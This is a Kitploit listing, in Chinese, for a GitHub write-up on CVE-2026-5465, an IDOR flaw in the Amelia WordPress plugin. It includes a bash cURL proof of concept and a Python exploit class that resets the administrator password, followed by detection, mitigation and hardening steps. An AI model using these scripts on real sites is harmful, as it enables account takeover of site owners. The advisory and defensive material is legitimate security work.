Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-5465 — # CVE-2026-5465 的漏洞利用与分析 针对 Amelia WordPress 插件中 IDOR(不安全的直接对象引用)漏洞的利用与分析,该漏洞允许已认证的 Provider(提供者)角色提升权限,并通过不安全的直接对象引用实现账户接管。 | Kitploit
工具/GitHubGitHub/kaleth4/cve-2026-5465
权限提升漏洞分析漏洞利用Web应用程序漏洞利用Web安全渗透测试错误配置
GitHubkaleth4/cve-2026-5465

CVE-2026-5465

# CVE-2026-5465 的漏洞利用与分析 针对 Amelia WordPress 插件中 IDOR(不安全的直接对象引用)漏洞的利用与分析,该漏洞允许已认证的 Provider(提供者)角色提升权限,并通过不安全的直接对象引用实现账户接管。

查看仓库
4个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-5465:Amelia WordPress 插件中的权限提升漏洞

⚠️ 执行摘要

Amelia 插件中存在严重的**不安全直接对象引用(IDOR)**漏洞,允许具有员工(Provider)角色的已认证用户将权限提升至完全控制(Account Takeover)WordPress 站点,包括管理访问权限。


📋 漏洞数据

属性值
CVE IDCVE-2026-5465
软件Amelia – Appointment Booking Calendar
受影响版本≤ 2.1.3
已修补版本≥ 2.2.0
类型不安全直接对象引用(IDOR)/ 失效的访问控制
攻击向量网络(已认证)
复杂度低
影响严重(账户接管)
CVSS v3.18.8 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWECWE-639(授权绕过)

🔍 技术分析

利用机制

该缺陷存在于处理供应商资料更新的 UpdateProviderCommandHandler 类中。

易受攻击的流程:

root@kitploit:~
1. 以"Provider"(员工)身份认证的用户
   ↓
2. 向更新端点发送 POST 请求
   {
     "externalId": 1,  // 管理员 ID(而非攻击者 ID)
     "firstName": "Admin Pirateado",
     "email": "[email protected]",
     "password": "nueva_contraseña"
   }
   ↓
3. 系统未验证 'externalId' 是否属于当前用户
   ↓
4. 使用 wp_set_password(externalId, new_password)
   ↓
5. 管理员密码被更改 → 账户接管

根本原因

在处理敏感数据之前缺少所有权验证(Ownership Check):

root@kitploit:~
// 易受攻击的代码(简化版)
public function updateProvider($providerId, $data) {
    // ❌ 未验证 providerId == 当前用户
    $provider = Provider::find($providerId);
    
    // 直接执行,无验证
    wp_set_password($data['password'], $provider->wp_user_id);
}

// 正确代码
public function updateProvider($providerId, $data) {
    // ✅ 验证所有权
    if ($providerId !== current_user_id()) {
        throw new UnauthorizedException();
    }
    wp_set_password($data['password'], $provider->wp_user_id);
}

可利用参数


💣 概念验证

前提条件

  • 具有"Provider"(员工)角色的用户账户
  • 对站点的已认证访问权限
  • WordPress 站点 URL

手动利用(cURL)

root@kitploit:~
#!/bin/bash

TARGET="https://ejemplo.com"
PROVIDER_TOKEN="token_autenticado_del_provider"
ADMIN_ID=1

# 获取安全 NONCE(如果存在)
NONCE=$(curl -s "$TARGET/wp-admin/" | grep -oP '_wpnonce[^"]*' | head -1)

# 执行恶意更新
curl -X POST "$TARGET/wp-json/amelia/v1/providers/$ADMIN_ID" \
  -H "Authorization: Bearer $PROVIDER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "externalId": 1,
    "password": "Compromised123!",
    "email": "[email protected]"
  }'

echo "[+] 如果响应为 200,则管理员已被入侵"

自动化利用(Python)

root@kitploit:~
import requests
import json

class AmeliaExploit:
    def __init__(self, target_url, provider_token):
        self.target = target_url.rstrip('/')
        self.headers = {
            'Authorization': f'Bearer {provider_token}',
            'Content-Type': 'application/json'
        }
    
    def exploit_account_takeover(self, target_user_id=1, new_password="Pwned123!"):
        """利用 IDOR 更改管理员密码"""
        
        endpoint = f"{self.target}/wp-json/amelia/v1/providers/{target_user_id}"
        
        payload = {
            "externalId": target_user_id,
            "password": new_password,
            "email": f"pwned_{target_user_id}@attacker.com"
        }
        
        try:
            response = requests.post(
                endpoint,
                headers=self.headers,
                json=payload,
                timeout=10
            )
            
            if response.status_code == 200:
                print(f"[✓] 已利用:用户 {target_user_id} 已被入侵")
                print(f"[*] 新密码:{new_password}")
                return True
            else:
                print(f"[✗] 失败:{response.status_code} - {response.text}")
                return False
                
        except Exception as e:
            print(f"[!] 连接错误:{e}")
            return False

# 使用
if __name__ == "__main__":
    exploit = AmeliaExploit(
        target_url="https://ejemplo.com",
        provider_token="eyJ0eXAiOiJKV1QiLCJhbGc..."
    )
    exploit.exploit_account_takeover(target_user_id=1)

🛡️ 入侵指标(IoC)

需审查的日志

WordPress 审计日志(如果已安装):

root@kitploit:~
用户:[Provider ID]
操作:用户密码已更改
受影响用户:管理员
时间戳:[可疑时间]

服务器日志(Apache/Nginx):

root@kitploit:~
POST /wp-json/amelia/v1/providers/1 HTTP/1.1
Authorization: Bearer [token]
Content-Length: [高]
→ 响应 200 OK

WordPress 数据库:

root@kitploit:~
-- 未经授权的密码更改
SELECT ID, user_login, user_registered, user_pass 
FROM wp_users 
WHERE ID = 1 
ORDER BY ID DESC LIMIT 1;

-- 可疑的邮箱更改
SELECT user_email, user_login, user_registered 
FROM wp_users 
WHERE user_login = 'administrator' 
ORDER BY ID DESC;

警报信号

  • ✗ 未经所有者请求的管理员密码更改
  • ✗ 对 /wp-json/amelia/v1/providers/ 的多次 POST 尝试
  • ✗ 来自新的/异常 IP 的管理访问
  • ✗ 创建具有管理员角色的新用户
  • ✗ 从 Provider 角色更改插件配置
  • ✗ 访问日志被删除或截断

🔧 立即缓解措施

1. 更新插件(首选方案)

root@kitploit:~
# 通过 WordPress 管理面板
1. 前往:插件 > 已安装插件
2. 搜索:"Amelia"
3. 点击:"立即更新"
4. 最低安全版本:2.2.0+

# 通过 WP-CLI
wp plugin update amelia --allow-root

2. 临时禁用插件

root@kitploit:~
# 通过 WP-CLI
wp plugin deactivate amelia --allow-root

# 通过 FTP/SFTP
重命名:/wp-content/plugins/amelia/ → /wp-content/plugins/amelia-DISABLED/

3. 服务器级别限制

Nginx(nginx.conf):

root@kitploit:~
location ~ /wp-json/amelia/v1/providers/ {
    # 仅允许 GET 请求
    if ($request_method = POST) {
        return 403;
    }
}

Apache(.htaccess):

root@kitploit:~
<FilesMatch "amelia.*providers">
    <LimitExcept GET HEAD>
        Require all denied
    </LimitExcept>
</FilesMatch>

📋 入侵后处理步骤

如果站点已被利用:

1. 更改密码(立即)

root@kitploit:~
-- 通过 CLI 更改管理员密码
wp user list --role=administrator --field=ID
wp user update [ADMIN_ID] --prompt=user_pass

2. 审计用户和更改

root@kitploit:~
SELECT * FROM wp_users WHERE user_registered > DATE_SUB(NOW(), INTERVAL 7 DAY);
SELECT * FROM wp_users WHERE ID = 1;

3. 检查活动会话

root@kitploit:~
# 安装并检查插件:WP Session Manager
wp plugin install wp-session-manager --allow-root
wp plugin activate wp-session-manager --allow-root

4. 重置安全密钥

root@kitploit:~
// 在 wp-config.php 中重新生成:
define('AUTH_KEY',         'PUT_YOUR_UNIQUE_PHRASE_HERE');
define('SECURE_AUTH_KEY',  'PUT_YOUR_UNIQUE_PHRASE_HERE');
define('LOGGED_IN_KEY',    'PUT_YOUR_UNIQUE_PHRASE_HERE');
define('NONCE_KEY',        'PUT_YOUR_UNIQUE_PHRASE_HERE');

🔐 长期加固

1. 部署 WAF(Web 应用防火墙)

root@kitploit:~
Cloudflare WAF 规则:
- 阻止:来自非白名单 IP 对 /wp-json/amelia/v1/providers/[0-9]+ 的 POST 请求

2. 持续监控

root@kitploit:~
# 安装审计插件
wp plugin install wordfence --allow-root
wp plugin install sucuri-scanner --allow-root

3. 角色和权限管理

root@kitploit:~
// 限制 Provider 的能力
$role = get_role('amelia_provider');
$role->remove_cap('edit_users');
$role->remove_cap('manage_options');

4. 端点速率限制

root@kitploit:~
limit_req_zone $binary_remote_addr zone=amelia_zone:10m rate=5r/s;

location ~ /wp-json/amelia/v1/ {
    limit_req zone=amelia_zone burst=20 nodelay;
}

📊 发现时间线

日期事件
2026-01-15向 Amelia 团队报告漏洞
2026-02-01补丁可用(v2.2.0)
2026-02-10CVE 负责任披露

📞 支持联系方式

  • Amelia 官方:https://ameliabooking.com
  • Wordfence 威胁情报:https://wordfence.com
  • WordPress 安全:https://wordpress.org/plugins/wordfence/
  • CERT 协调中心:https://www.cert.org

📚 参考资料

  • OWASP:失效的访问控制
  • CWE-639:授权绕过
  • NIST:权限提升
  • Amelia 安全公告

分类:🔴 严重 - 需要立即采取行动
最后更新:2026 年 4 月
作者:安全团队

下载工具
参数类型影响
externalId整数身份变更(核心 IDOR)
password字符串密码修改
email邮箱若重置则导致会话劫持
firstName、lastName字符串非关键数据篡改
2026-02-11野外利用出现
今天建议紧急更新